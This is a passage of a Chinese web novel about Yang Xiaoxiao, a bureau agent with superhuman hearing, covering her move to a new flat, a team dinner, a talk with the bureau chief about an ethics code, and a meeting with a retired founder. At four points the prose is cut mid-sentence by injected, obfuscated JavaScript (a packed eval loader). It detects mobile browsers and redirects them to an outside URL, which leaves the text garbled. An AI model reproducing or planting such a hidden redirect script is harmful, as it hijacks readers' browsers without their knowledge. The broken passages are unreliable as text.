叫卖声、讨价还价声、车流声、小孩的哭声……各种声音涌进耳朵。她闭上眼睛,试着在混乱中分辨——左边第三个摊位在卖鱼,右边有辆电动车在按喇叭,身后两个老太太在讨论菜价。 清晰,但不刺耳。 她重新戴上耳塞,继续往家走。 能力在进步。她清楚这一点。从最初被各种声音折磨得失眠,到现在能在嘈杂环境中主动筛选信息,这中间是无数个小时的训练。 但还不够。 陈树说得对,她需要更安静的环境,需要更系统的训练,需要……更深入地融入这份工作。 --- 回到公寓已经中午。杨晓晓煮了碗面,坐在窗边的小桌前吃。阳光很好,洒在桌面上,暖洋洋的。 手机震动,是“深蓝幼儿园”群里的消息。 雷昊:@所有人重大消息!我刚打听到清澜苑的物业是军方背景!安保级别超高! 雷昊:而且小区里有个超大的隔音训练室!据说是给某些特殊单位准备的! 熊毅:消息准确吗? 雷昊:百分百!我表哥的战友的亲戚住那儿! 林墨:隔音训练室……那很适合晓晓。 雷昊:对吧对吧!@杨晓晓你快从了吧! 杨晓晓:……我在吃面。 雷昊:面有什么好吃的!搬来清澜苑我请你吃烧烤!楼下那家绝了! 熊毅:烧烤不健康。但确实好吃。 杨晓晓:熊哥你…… 林墨:我可以吃一串……就一串。 雷昊:看!大家都同意了! 杨晓晓:我考虑考虑。 放下手机,她笑着摇摇头,继续吃面。 面快吃完时,她做了决定。 --- 下午两点,杨晓晓给房东打电话。 “王阿姨,我是702的小杨。下个月……可能不续租了。” 电话那头房东有些惊讶:“怎么突然要搬?住得不舒服吗?” “没有没有,住得很好。”杨晓晓说,“就是工作变动,想找个离公司更近的地方。” “哎呀,那可惜了……你可是我最省心的租客。”房东惋惜了几句,“那你这周末有空吗?我带人看房。” “周末我在,您随时来。” 挂断电话,她在客厅里慢慢转了一圈。 书架上的书,大部分是加入特保局后买的专业书。 墙角的健身器材,是熊毅推荐的用于增强核心力量的。 茶几下的那盒特制耳塞,是雷昊从后勤“顺”来的实验品。 窗台上那盆绿萝,是林墨送的,说能净化空气。 这个公寓见证了她从一个普通程序员,到一个听力能力者,再到特保局行动队员的转变。 而现在,是时候去下一个地方了。 她打开电脑,找到清澜苑的租房申请表格,开始填写。 --- 傍晚,杨晓晓开始整理东西。不是打包,只是把物品分类:要带走的,要处理的,要留作纪念的。 在书架最底层,她翻出一个旧盒子。打开,里面是她刚加入特保局时的训练笔记——字迹稚嫩,记录着最初连降噪耳机都戴不习惯的窘迫。 她翻到某一页,上面写着:“今天陈队说,我的听力范围比标准值宽了30%。但控制能力只有40分。要练。” 下面用红笔补充:“三个月后,控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191474|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力提到65分。” 再下面:“半年,75分。” 最新的一条是上周写的:“实战前测试,82分。但陈队说,测试和实战是两回事。” 现在看来,陈队是对的。 她把笔记本放回盒子,准备带到新家。 手机又响了,这次是母亲打来的。 “晓晓,周末你爸买了条大鱼,准备做给你吃。” “好。”杨晓晓说,“不过有件事要跟你们说。” “什么事?” “我……可能要搬家了。公司提供的宿舍,离公司更近。” 电话那头沉默了几秒:“搬家?你现在住的地方不是挺好的吗?” “是挺好的,但通勤太久了。”杨晓晓尽量让声音听起来轻松,“而且新地方环境更好,更安静,适合我……加班。” 她没敢说“适合训练”,也没说“适合随时出任务”。 母亲又问了几个问题——新地方多大,安不安全,吃饭怎么办。杨晓晓一一回答,用的是陈树给的那份文件上的标准信息。 最后母亲说:“你自己觉得好就行。周末回家细说。” “好。” 挂断电话,杨晓晓长舒一口气。 最难的一关过了。 --- 晚上八点,杨晓晓把填好的申请表发到陈树邮箱。几乎是秒回: 陈树:收到。后勤会联系你办理手续。 陈树:另外,周六聚会别迟到。 杨晓晓:不会的。 她关掉电脑,走到窗边。城市的夜景铺展在眼前,灯火如星河。 手机在手里震动,“深蓝幼儿园”群里又开始刷屏。雷昊在讨论聚会要玩什么游戏,熊毅在列甜点清单,林墨小心翼翼地问能不能带自己烘焙的饼干。 杨晓晓看着,笑着,最后发了一条: 杨晓晓:我带水果。还有,我决定搬了。清澜苑。 雷昊:耶!!!!!! 熊毅:需要帮忙搬家说一声。 林墨:我可以帮忙整理…… 雷昊:我负责活跃气氛!顺便考察楼下烧烤店! 杨晓晓:谢谢大家。 发完这条,她放下手机,看着窗外。 新公寓,新邻居,新生活节奏。 但队友还是那些队友,工作还是那份工作,她还是她。 只是,会更专业,更强大,更……像她自己该成为的样子。 窗外的灯火一盏盏亮着,延续到远方,连成一片温暖的光海。 杨晓晓关掉客厅的灯,只留下沙发旁那盏落地灯。暖黄的光晕里,她拿起那本旧训练笔记,翻到空白页,写下新的日期,和一行字: 第一次实战总结:预警及时,判断准确,团队配合良好。声音控制需加强。下一步目标:在任何情况下,保持声音稳定。 写完,她合上笔记本。 明天要去基地办手续,要联系搬家公司,要开始打包。 周六小队聚会,要听雷昊吹牛,要吃熊毅的甜点,要尝林墨的饼干。 下周,要搬家,要开始值班,要面对新的挑战。 很忙,很充实,很……值得期待。 她最后看了一眼这个住了三年的公寓,关掉了最后一盏灯。 黑暗中,她轻轻说: “下次行动,我会做得更好。” 声音平稳,坚定,没有一丝颤抖。 35. 小队第一次聚餐 周六傍晚五点二十,杨晓晓站在清澜苑门口,看着雷昊那辆改装过的蓝色小车一个漂亮的侧方停进车位——虽然停得有点歪。 “完美!”雷昊跳下车,对自己的停车技术很是满意。 副驾驶门打开,熊毅面无表情地下来,绕到车后看了一眼:“压线了。” “线是给人看的,不是给车看的!”雷昊理直气壮。 后车门推开,林墨小心地钻出来,手里拎着一个精致的纸袋:“晓晓,我带了茶叶……还有一点自己做的点心。” 杨晓晓接过他递来的纸袋,里面是几个小巧的抹茶酥,做得有模有样:“你自己做的?” “嗯……训练间隙学的。”林墨有点不好意思,“第一次做,可能味道一般。” “看着就很好吃!”雷昊凑过来,“墨墨你还有这手艺?以后下午茶靠你了!” 熊毅从后备箱拿出一个纸盒,里面是织好的杯垫:“每人两个,不同厚度。” 杨晓晓拿起一个浅灰色的,手感密实,边缘整齐:“熊哥你这手艺可以开店了。” “静心。”熊毅简短地说。 陈树定的私房菜馆在城西的老街里,店面不大,但装修雅致。推开木门时风铃轻响,柜台后的年轻人抬头看见雷昊,笑着打招呼:“昊哥来了!包厢给你们留好了!” “小川,生意不错啊!”雷昊熟络地拍拍对方的肩,“今天可得拿出真本事,我们老大请客!” 叫小川的年轻人看向陈树,连忙点头:“陈先生好,各位请跟我来。” 包厢在最里面,确实如雷昊所说隔音很好。圆桌上已经摆好了凉菜,精致的青花瓷盘,几碟开胃小菜。 陈树已经坐在主位,见他们进来,抬手示意:“坐。不用拘束。” 雷昊自然坐到陈树右边,熊毅左边,林墨挨着熊毅,杨晓晓坐在林墨和雷昊中间——正好是圆桌最平衡的位置。 “点菜点菜!”雷昊抓起菜单,眼睛发亮,“小川,你们家那个招牌红烧肉还有吧?” “有,特意给你们留了一份。”小川笑着说,“今天还有新鲜的河虾,要不要试试椒盐的?” “要要要!再来个清蒸鲈鱼,要现杀的!”雷昊点菜很熟练,显然不是第一次来。 熊毅补充:“加个青菜。” 林墨小声说:“可以要个豆腐羹吗?” 杨晓晓看着菜单:“我没什么忌口,都行。” 点完菜,雷昊又要了烧烤——这是私房菜馆的特色,后院有个小烤炉。 “肉串十串,鸡翅四对,茄子来两个,还有……”雷昊掰着手指,“玉米!烤玉米好吃!” 等待上菜的间隙,雷昊开始吐槽训练:“陈头,下周那个抗干扰训练能不能调低点难度?上周我在噪音里找信号,差点把自己听吐了。” “吐了说明你还没适应。”陈树平静地喝茶,“杨晓晓同组训练,完成率94%。” 所有人的目光转向杨晓晓,她正低头剥橘子,闻言一愣:“那个……可能是我耳朵比较适应复杂环境。” “你那叫天赋!”雷昊哀叹,“我们凡人遭不住啊!那噪音组合——电钻加婴儿哭加指甲刮黑板……这是哪个天才想出来的?” “我。”熊毅说。 雷昊噎住:“……大熊你变了。” 林墨小声帮腔:“确实……有点难。我戴了三层耳塞,还是头疼。” “头疼就对了。”陈树放下茶杯,“敌人不会因为你们头疼就关掉干扰设备。适应是唯一的选择。” 第一道菜上来了,红烧肉油亮诱人。接着是清蒸鲈鱼、椒盐河虾、蒜蓉青菜……烧烤也陆续端上,烤得恰到好处,滋滋冒油。 林墨很自然地拿起一串烤肉,小口吃着——经过这段时间的聚餐,他已经能很自然地参与这种场合了。 “对了,”雷昊咬着一串鸡翅,含糊不清地说,“技术组新到了一批设备,据说能模拟各种环境音。下周开始,咱们的训练场地要升级了!” 熊毅夹了块红烧肉:“什么设备?” “好像是叫‘全频环境模拟器’,”雷昊咽下食物,“能生成从次声波到超声波的完整频谱,还能自定义组合。晓晓,你以后训练可就更刺激了。” 杨晓晓眨眨眼:“那……雷昊你陪我练吗?” “我——”雷昊噎住,“我负责操作设备!精神上支持你!” 大家都笑了。正说笑着,杨晓晓耳朵忽然动了动。 隔壁包厢的声音透过墙壁传来——虽然隔音不错,但对她来说,某些频率的声音依然清晰。 是一对情侣在闹别扭。 女的带着哭腔:“你说今天一定不加班,结果呢?电话都不接!” 男的声音疲惫:“临时开会,手机静音了……” “每次都这样!我在餐厅等了你一个半小时!” “对不起,我……” 杨晓晓抬起头,见大家都在聊天,犹豫了一下,还是小声说:“隔壁……有点热闹。” 雷昊立刻来了精神:“什么情况?” 熊毅也停下筷子。林墨好奇地看过来,连陈树都抬了抬眼。 杨晓晓侧耳听了听,用气声转播:“女的说:‘今天是我们恋爱三周年,你都能忘?’男的沉默……哦,现在说话了:‘我没忘,礼物我都买了,就在车上……’” 雷昊憋着笑,肩膀直抖。 林墨也竖起耳朵,虽然什么也听不见。 熊毅摇摇头,继续吃菜。 陈树喝了口茶,嘴角有一丝若有若无的弧度。 “女的说:‘我不要礼物!我要你陪我!’男的叹气……”杨晓晓继续,“现在开始哄了——‘我错了,下周,下周一定请年假陪你去旅游,去哪儿都行。’女的问:‘真的?’男的说:‘真的,我发誓!’……哦,没声了,可能抱上了。” 雷昊终于忍不住笑出声:“这就哄好了?太没原则了吧!” 杨晓晓也笑:“可能……这就叫爱情?” 陈树放下茶杯,看了她一眼:“你这能力,适合当八卦记者。” “那可不行,”杨晓晓认真地说,“职业道德第一条就是不窥探普通民众隐私——除非涉及案件。” “觉悟挺高。”陈树点头,“不过控制力还要加强。能听到是一回事,能选择听不听是另一回事。” “正在练。”杨晓晓说。这一个月她进步很大,已经能主动过滤掉大部分无关声音,只是偶尔还是会像现在这样,被某些情绪强烈的对话吸引注意力。 隔壁包厢传来开门声,那对情侣似乎离开了。杨晓晓松了口气——不是她不想听,而是那种情感波动对她来说是一种干扰。 话题转回了工作。雷昊说起下周的设备测试,林墨提到穿墙训练时发现的新技巧,熊毅分享了几种近身控制的变招。陈树偶尔点评,大多是简短却一针见血。 杨晓晓安静地听着,吃着熊毅推过来的烤茄子——烤得软糯,蒜香浓郁。这种时刻很珍贵,她想,一群人围坐一桌,聊工作,聊训练,偶尔开开玩笑。 不像同事,更像……战友。 “对了晓晓,”雷昊突然想起,“你搬家定在下周末?” “嗯,周六搬。”杨晓晓说,“清澜苑那边手续都办好了。” “需要帮忙就说!”雷昊拍胸脯,“我有车!有力气!还有人脉——后勤的王姐答应借我几个推车!” 熊毅说:“重物交给我。” 林墨小声:“我可以帮忙整理……书和杯子之类的。” 杨晓晓心里暖暖的:“谢谢。不过我东西不多,应该不用太麻烦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191475|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不麻烦不麻烦!”雷昊摆手,“这可是咱们小队第一次集体活动——帮队友搬家,多有意义!” 陈树看了他一眼:“你上周说帮档案室整理文件也是集体活动。” “那是……”雷昊噎住,“那也是培养团队默契!” 大家又笑了。 吃完饭已经快九点。小川送来了果盘和甜点——雷昊特别要求的杨枝甘露。一桌人边吃边聊,从训练吐槽到生活琐事,从各自喜好到未来计划。 杨晓晓发现,虽然每个人性格迥异,但都在用自己的方式适应这份特殊的工作,也在互相影响着。 林墨虽然内向,但在队友面前越来越放松。 熊毅话不多,但每次开口都让人安心。 雷昊看着大大咧咧,实则细心——比如记得她喜欢吃杨枝甘露。 而陈树……杨晓晓偷偷看了一眼主位上的队长。他大部分时间在听,偶尔引导,像在观察,也像在评估他们的状态。 九点半,陈树看了眼时间:“差不多了。明天九点,训练场集合。” “啊——”雷昊瘫在椅子上,“快乐的时光总是短暂的……” 结账时,陈树拿出卡。雷昊凑过去瞄了眼账单,倒吸一口凉气:“陈头,这……太破费了。” “第一次聚餐,应该的。”陈树平静地刷卡签字,“以后轮流请。” 走出餐馆,夜晚的凉风吹散了身上的烟火气。老街安静,路灯把影子拉得很长。 “我送你们。”雷昊说。 熊毅摇头:“我走回去,不远。” 林墨也说:“我坐地铁……正好想想穿墙路径的问题。” 杨晓晓刚要说话,陈树开口:“杨晓晓,我送你。回基地顺路。” 她一愣:“陈队今晚值班?” “嗯。”陈树已经走向停车场,“上车。” 局里的公务车,黑色,普通,但杨晓晓能看出玻璃和轮胎的特殊。坐上副驾驶,系好安全带,车子平稳驶入夜色。 “今天感觉怎么样?”陈树突然问。 杨晓晓想了想:“挺好的。大家……相处得很自然。” “团队需要时间磨合。”陈树看着前方的路,“你们几个互补,有潜力。但要成为真正成熟的队伍,还需要经历更多实战。” “我们会努力的。” 陈树看了她一眼:“你最近进步很明显。听力控制、信息筛选、现场判断——都在向专业水准靠拢。” 杨晓晓心里一喜,但嘴上还是谦虚:“还有很多要学的……” “知道不足是好事。”陈树说,“下周开始,训练重点是声音溯源和实时解析。雷昊会配合你做干扰训练,林墨那边也需要你协助做穿墙声纹监测。” “好的。” 车子停在清澜苑门口。杨晓晓解开安全带:“谢谢陈队。” “早点休息。”陈树说,顿了顿,“还有——” 她回头。 “下次再‘转播’隔壁剧情,”陈树嘴角微扬,“可以考虑收点信息费。创收。” 杨晓晓愣了两秒,笑出声:“陈队你也会开玩笑?” “偶尔。”陈树摆摆手,“去吧。” 看着车子驶远,杨晓晓站在小区门口,脸上还挂着笑。 夜风清凉,月色正好。 手机震动,是群里雷昊的消息:“安全到家报数!” 下面跟着熊毅和林墨的回复。 杨晓晓打字:“1。今天很开心,谢谢大家。” 很快,三个不同的“晚安”跳出来。 她收起手机,抬头看向自己即将入住的七楼。窗户还暗着,但很快,那里就会亮起灯,成为她新的起点。 而这条路上,她有队友,有方向,有值得期待的未来。 这就够了。 36. 周局长的私下谈话 周一早晨八点半,杨晓晓被张磊从训练室叫出来。 “周局长找你。”张磊的表情有点严肃,“在他办公室,现在就去。” 杨晓晓心里一紧。周正浩局长,特保局的一把手,她只在入职那天远远见过一面——一个五十多岁、头发花白、但腰板笔挺的男人,站在会议室前面讲话,声音不高,但每个字都清晰有力,带着一种不怒自威的气场。 “周局长找我……什么事?”她小声问。 “不知道。”张磊摇头,“但陈队也在,应该不是什么坏事。别紧张,周局长人很好的。” 杨晓晓深吸一口气,跟着张磊往主楼走。一路上,她脑子里闪过各种可能:任务出问题了?能力使用不当?还是……要让她退出? 周局长的办公室在五楼,走廊尽头。门是深棕色的实木门,上面挂着简单的名牌:局长办公室。 张磊敲了敲门,里面传来沉稳的男声:“进来。” 推开门,办公室比杨晓晓想象的要简朴。不大的空间,一张办公桌,两个书架,一套会客沙发。墙上挂着中国地图和一幅书法,写的是“守正创新”四个大字。 周正浩坐在办公桌后,正在看文件。陈树坐在沙发上,见她进来,微微点头。 “局长,杨晓晓来了。”张磊说。 周正浩抬起头,摘下老花镜。他的眼睛不大,但目光锐利,像能看透人心。不过此刻,他脸上带着温和的笑容。 “小杨来了,坐。”他指了指陈树旁边的沙发。 杨晓晓拘谨地坐下,双手放在膝盖上,背挺得笔直。 张磊退出去,关上门。办公室里只剩下他们三人。 “听陈树说,你这次任务表现不错。”周正浩开门见山,语气平和,“监听准确,判断及时,关键时刻的预警起到了决定性作用。” 杨晓晓没想到局长一开口就是表扬,有点不知所措:“我……还有很多要学的……” “谦虚是好事。”周正浩点头,“但该肯定的也要肯定。你们这次行动,不仅抓到了间谍,保护了技术数据,还顺藤摸瓜捣毁了一个境外情报网。国安部的领导专门打电话来表扬,说特保局的新人培养得好。” 他说着,从抽屉里拿出一个信封,推过来:“这是给你们小组的特别奖金,不多,一点心意。” 杨晓晓看向陈树,陈树点头示意她收下。她双手接过信封,感觉厚度不薄。 “谢谢局长。” “不用谢我,是你们自己挣的。”周正浩靠回椅背,双手交叉放在桌上,“小杨,今天叫你来,不是光为了发奖金。有些话,我想亲自跟你说说。” 他的表情认真起来:“陈树应该跟你说过,我们特保局是干什么的。处理特殊事务,管理特殊人才,维护特殊领域的秩序。但你知道,我们做这一切的底线是什么吗?” 杨晓晓想了想:“保护国家安全?” “对,但不全面。”周正浩说,“我们的底线,是保护人民。每一个具体的人,他们的安全,他们的权利,他们的正常生活。我们使用能力,是为了保护,不是为了伤害;是为了维护秩序,不是为了制造混乱。” 他站起来,走到书架前,抽出一本泛黄的笔记本。笔记本很旧了,封面是那种老式的硬皮,边角已经磨损。 “这是我刚参加工作的时候,我的领导给我的。”周正浩把笔记本递给杨晓晓,“那时候还没有特保局,我们那个部门叫‘异常现象研究办公室’,编制挂在科学院下面,一共就七个人。” 杨晓晓小心地接过笔记本。翻开扉页,上面用钢笔工整地写着: 《超能者伦理守则》(手抄本) 赠周正浩同志 望谨记:能力是天赋,责任是选择 1987年3月 字迹已经有些褪色,但依然清晰有力。 “三十五年了。”周正浩看着那本笔记,眼神有些感慨,“我的领导退休前把它传给我,说:正浩啊,咱们这行,规矩很重要,但比规矩更重要的,是人心。要记住,我们服务的对象是人,我们管理的对象也是人。能力再特殊,也不能忘了做人的本分。” 他看向杨晓晓:“现在,我把它传给你。” 杨晓晓手一抖,差点没拿稳笔记本:“局长,这太贵重了,我……” “收着。”周正浩语气温和但不容拒绝,“这不是什么珍贵文物,就是一本手抄笔记。里面的内容,局里的规章里都有,你可以当个纪念。重要的是它代表的精神——一代传一代,提醒我们为什么出发,要到哪里去。” 杨晓晓捧着笔记本,感觉它有千斤重。 “翻翻看。”周正浩说。 她小心地翻开内页。纸张已经泛黄,但字迹工整,一条条规则列得清清楚楚: 第一条:非必要不使用能力。 第二条:使用能力时,最小化对他人隐私的侵犯。 第三条:任何时候,不得用能力谋取私利。 第四条:遇到平民受困,无论是否在任务中,都应尽力救助。 第五条:能力失控时,第一时间报告,不得隐瞒。 …… 每一条下面,还有手写的注解和案例。有的案例很简单,比如“1988年5月,小李用透视能力帮邻居找猫,后写检讨”;有的案例很沉重,比如“1992年11月,王某用精神控制能力胁迫他人,被开除并移交司法”。 翻到最后一页,有一段特别的话: 我们行走在光与暗的交界处,手中握着普通人没有的力量。这力量可以是盾,守护无辜;也可以是剑,伤害他人。选择权在我们自己。愿我们永远选择做盾,而非剑。 落款是一个陌生的名字,日期是1987年3月15日。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191476|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨晓晓盯着这段话,看了很久。 “你的能力很特别。”周正浩的声音把她拉回现实,“听力,尤其是你这种程度的听力,在情报收集、侦察预警方面有巨大价值。但同样的,它也最容易侵犯他人隐私,最容易让人迷失在‘知道太多’的诱惑里。” 他走回办公桌后坐下:“陈树跟我说,你入职以来,除了训练和任务,没有私自滥用能力。这很好,说明你心性正。但以后你会面临更多考验——比如,听到同事说你的坏话,听到领导讨论人事变动,听到一些不该听的秘密。那时候,你怎么做?” 杨晓晓想了想,认真回答:“非礼勿听。” 周正浩笑了:“好一个‘非礼勿听’。这是古人的智慧,也是我们这行的铁律。记住,能力是工具,人是使用工具的主体。不要让工具反过来控制了你。” 他顿了顿:“另外,有件事要告诉你。根据这次任务的表现,局里决定让你提前结束实习期,转正为正式外勤员。转正后,待遇会提高,任务也会更多、更复杂。你愿意吗?” 杨晓晓没有犹豫:“我愿意。” “不怕危险?” “怕。”杨晓晓老实说,“但更怕……自己的能力用不到正处,白白浪费了。” 周正浩点点头,看向陈树:“你看人的眼光不错。” 陈树微笑:“是她自己争气。” “好了,话就说到这儿。”周正浩站起来,“小杨,回去好好训练,好好工作。那本笔记,有空翻翻,没空就当个纪念。有什么困难,找陈树,也可以直接来找我。” “是,谢谢局长。” 杨晓晓站起来,捧着笔记本,郑重地鞠了一躬。 走出办公室,她感觉脚步都有些飘。手里的笔记本沉甸甸的,不只是重量,更是那份传承的分量。 “感觉怎么样?”陈树问。 “像……接过了一面旗。”杨晓晓说,“很重,但很光荣。” 陈树笑了:“周局长很少单独见新人,更少送东西。他是真的看好你。” “我会努力的。”杨晓晓握紧笔记本。 “走吧,训练还没完呢。”陈树拍拍她的肩,“今天练声音回溯,有你受的。” 杨晓晓跟在他身后,忍不住又翻开了笔记本。阳光从走廊窗户照进来,落在泛黄的纸页上,那些三十多年前写下的字迹,在光中显得格外清晰。 她轻轻合上本子,抱在胸前。 心里很踏实。 因为她知道,在这条特殊的道路上,她不是孤独的探索者。 在她前面,已经有很多人走过,留下了路标和警示。 在她身边,有队友,有导师,有一个团队。 而在她手中,现在有了一本笔记,一份传承,一个方向。 这就够了。 足够她勇敢地走下去。 37. 偶遇秦望舒老人 周三下午,杨晓晓被安排去资料室帮忙整理档案。 这是特保局的传统——新人转正后,都要在各个部门轮岗一段时间,熟悉整体运作。杨晓晓这周被分到了资料室,负责将一些老旧的纸质档案数字化。 资料室在地下二层,空间很大,一排排的铁架子几乎顶到天花板,上面堆满了各种文件盒、档案袋,甚至还有老式的磁带和胶片。空气里有股淡淡的纸张陈旧的味道,混着一点点防虫药的气味。 “小杨是吧?”资料室的管理员是个戴眼镜的阿姨,姓吴,说话慢条斯理的,“这边这些盒子,是九十年代初的异常气象记录,你扫描一下,按日期归档到系统里。扫描仪会用吗?” “会,培训过。”杨晓晓点头。 吴阿姨交代完就去忙别的了。杨晓晓搬了个凳子,坐在扫描仪前,开始工作。 一盒盒的档案,记录着那个年代全国各地上报的“异常现象”:某地连续三天出现彩虹,某湖水一夜之间变红,某山村所有电器同时失灵三小时……大多数后面都标注着“自然现象”或“已查明原因”,但也有一些,最后只写着“记录在案,持续观察”。 杨晓晓一边扫描,一边忍不住看那些记录。世界真大,奇怪的事情真多。而特保局,就在这平静的表象下,默默处理着所有这些“异常”。 工作了两个小时,她起身活动一下脖子,准备去接杯水。走到资料室深处的饮水机时,她看到一个老人正坐在角落的阅览桌前,面前摊开几本线装古书。 老人看上去至少七十岁了,头发全白,但梳得整整齐齐。他戴着老花镜,手里拿着放大镜,正仔细地研究书页上的文字。桌上还放着一个保温杯和一个笔记本,笔记本上密密麻麻写满了字。 杨晓晓本来想悄悄接完水就走,不料老人抬起头,正好和她视线对上。 “小姑娘,新来的?”老人声音温和,带着点书卷气。 “啊,是的。”杨晓晓连忙站直,“我叫杨晓晓,来资料室帮忙。” “杨晓晓……”老人想了想,“哦,是那个‘天耳通’的孩子吧?” 杨晓晓一愣:“天耳通?” 老人笑了,摘下老花镜:“古书里是这么称呼你这种能力的。能闻声于百里,辨音于毫末,是谓天耳通。” 杨晓晓好奇地走过去一些:“老先生,您也研究……这些?” “研究谈不上,就是看看古书,找找先人的智慧。”老人指了指对面的椅子,“坐吧,站着我看着累。” 杨晓晓犹豫了一下,还是坐下了。她注意到老人手边放着一本很眼熟的笔记本——和周局长给她的那本《超能者伦理守则》手抄本一模一样,只是看起来更新一些。 老人顺着她的目光看去,笑了:“你也有一本?” “周局长刚给我的。”杨晓晓老实说。 “正浩啊……”老人点点头,眼神有些怀念,“他是个好领导,重规矩,但更重人心。当年我给他那本笔记的时候,他还只是个毛头小子,现在都当局长了。” 杨晓晓惊讶:“那本笔记是您……” “我抄的。”老人说,“1987年,那时候我是研究室的主任,正浩是我的助手。看到一些年轻人有了能力就忘乎所以,觉得很痛心,就整理了这些守则,手抄了几份,给每个新人发一本。没想到正浩一直留着,现在还传给了你。” 他喝了口保温杯里的茶,缓缓说:“你手里那本,扉页上的赠言,是我写的。” 杨晓晓肃然起敬。她没想到,眼前这位看似普通的老人,竟然是特保局最早的一批元老,还是那本守则的撰写者。 “老先生,怎么称呼您?” “我姓秦,秦望舒。退休好些年了,就是闲不住,经常回来看看书。”秦老笑呵呵地说,“你叫我秦老就行。” “秦老好。”杨晓晓恭敬地问好。 秦望舒打量着她,眼神慈祥:“听力能力者,我见过不少。第一个是我的老战友,抗美援朝的时候,他能听到几公里外敌人的脚步声,救了我们整个连队。可惜后来耳朵受伤,能力就没了。” 他顿了顿:“还有个女孩子,八十年代发现的。能力很强,能听到很远的声音,但她控制不好,整天被各种声音折磨,最后精神崩溃了。我们想了很多办法,都没能救回来。” 杨晓晓心里一紧。她想起自己刚觉醒能力时,那些无孔不入的声音也曾让她夜不能寐。 “所以你看,”秦望舒翻开面前的一本古书,指着一行字,“《道德经》说:‘五色令人目盲,五音令人耳聋’。不是真的瞎了聋了,是说太多刺激,反而让人失去了真正的感知能力。” 他又翻到另一页:“还有这里,《论语》里说:‘非礼勿视,非礼勿听,非礼勿言,非礼勿动’。这个‘礼’,你可以理解为分寸,理解为界限。不该看的别看,不该听的别听——不是说你没能力听,而是你要有自己的判断,知道什么时候该‘关掉’耳朵。” 杨晓晓认真听着。这些话,陈树在训练中也强调过,但从一位研究古籍的老人嘴里说出来,仿佛这些智慧穿越了千年时光,在今天依然闪烁着光芒。 “你现在跟着陈树训练,很好。”秦望舒合上书,看着她,“他教你的,是‘术’。而我今天跟你说的,是‘道’。能力是天赋,但也是考验。你能听到别人听不到的,这是优势。但你能不能在听到之后,选择不听?能不能在听到不该听的东西时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191477|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,选择忘记?这才是真正的修行。” 他指了指杨晓晓手里的水杯:“就像这杯水,你可以一直端着,但久了手会酸。该放下的时候就得放下,让自己休息。” 杨晓晓若有所思。她确实经常觉得累,不是身体累,是精神累——太多声音涌进来,哪怕现在能控制了,也要时刻保持专注,像端着一杯水不敢撒。 “谢谢秦老,我明白了。”她真诚地说。 “明白就好。”秦望舒笑了,又从旁边拿出一本薄薄的小册子,“这个送你,我自己整理的,一些古籍里关于‘听’的智慧。有空看看,也许对你有帮助。” 杨晓晓接过,是一本手写复印的小册子,封面上写着《听之道》。 “秦老,这太珍贵了……” “复印的,不值钱。”秦望舒摆摆手,“知识嘛,就是要分享才有价值。你们年轻人能站在我们这些老家伙的肩膀上,走得更稳更好,我们就高兴了。” 他又戴上老花镜,重新埋首书堆:“去吧,继续工作。我也得把这些古籍整理完,下午还要去幼儿园接孙子呢。” 杨晓晓站起来,郑重地道谢,然后轻手轻脚地离开。 回到扫描仪前,她小心地把《听之道》小册子放进包里。翻开第一页,上面是秦老工整的字迹: 听有三种境界—— 一听声:常人皆能。 二听意:辨音识情,明察秋毫。 三听道:闻无声之声,悟不言之教。 愿你早日达第三境。 杨晓晓盯着这几行字,看了很久。 然后她抬头,看向资料室深处。秦望舒老人还坐在那里,白发在灯光下泛着银光,专注地研究着那些泛黄的古籍,像个普通的退休学者。 但杨晓晓知道,这位老人,还有周局长,还有陈树,还有局里那些看起来普通的前辈们,他们都曾经或正在行走在光与暗的交界处,用各自的方式守护着什么。 而她,现在也成了其中的一员。 她深吸一口气,重新开始扫描档案。机器发出有节奏的嗡嗡声,纸张在光下一页页翻过,将那些过去的记录,转化为数字,存入系统,成为未来参考的依据。 这工作很枯燥,但杨晓晓做得很认真。 因为她知道,她现在做的每一件小事,都是在为这个庞大的守护体系添砖加瓦。 而她也在这个过程中,慢慢找到自己的位置,慢慢理解那份传承的分量。 